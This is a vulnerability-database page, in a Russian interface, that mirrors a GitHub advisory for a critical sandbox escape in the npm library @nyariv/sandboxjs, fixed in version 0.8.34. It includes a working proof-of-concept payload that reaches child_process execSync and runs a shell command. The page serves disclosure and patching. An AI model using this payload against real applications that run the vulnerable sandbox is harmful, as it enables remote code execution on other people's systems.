Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-6r9f-759j-hjgv

Опубликовано: 13 мар. 2026
Источник: github
Github: Прошло ревью
CVSS3: 10

Описание

SandboxJS affected by a Sandbox Escape

Summary

It is possible to obtain arrays containing Function, which allows escaping the sandbox.

Details

There are various ways to get an array containing Function, e.g.

Object.entries(this).at(1) // [ 'Function', [Function: Function] ] Object.values(this).slice(1, 2) // [ [Function: Function] ]

Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.

PoC

const s = require('.').default; const sb = new s(); payload = ` const p = (async function () {})(); ({ "finally": p.finally, ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]), }).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')(); `; sb.compile(payload)().run();

Impact

Sandbox Escape -> RCE

Пакеты

Наименование

@nyariv/sandboxjs

npm
Затронутые версииВерсия исправления

<= 0.8.33

0.8.34

EPSS

Процентиль: 42%
0.00547
Низкий

10 Critical

CVSS3

Дефекты

CWE-94

Связанные уязвимости

CVSS3: 10
nvd
5 месяцев назад

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.

CVSS3: 10
fstec
5 месяцев назад

Уязвимость библиотеки SandboxJS, связанная с неверным управлением генерацией кода, позволяющая нарушителю выйти из изолированной программной среды

EPSS

Процентиль: 42%
0.00547
Низкий

10 Critical

CVSS3

Дефекты

CWE-94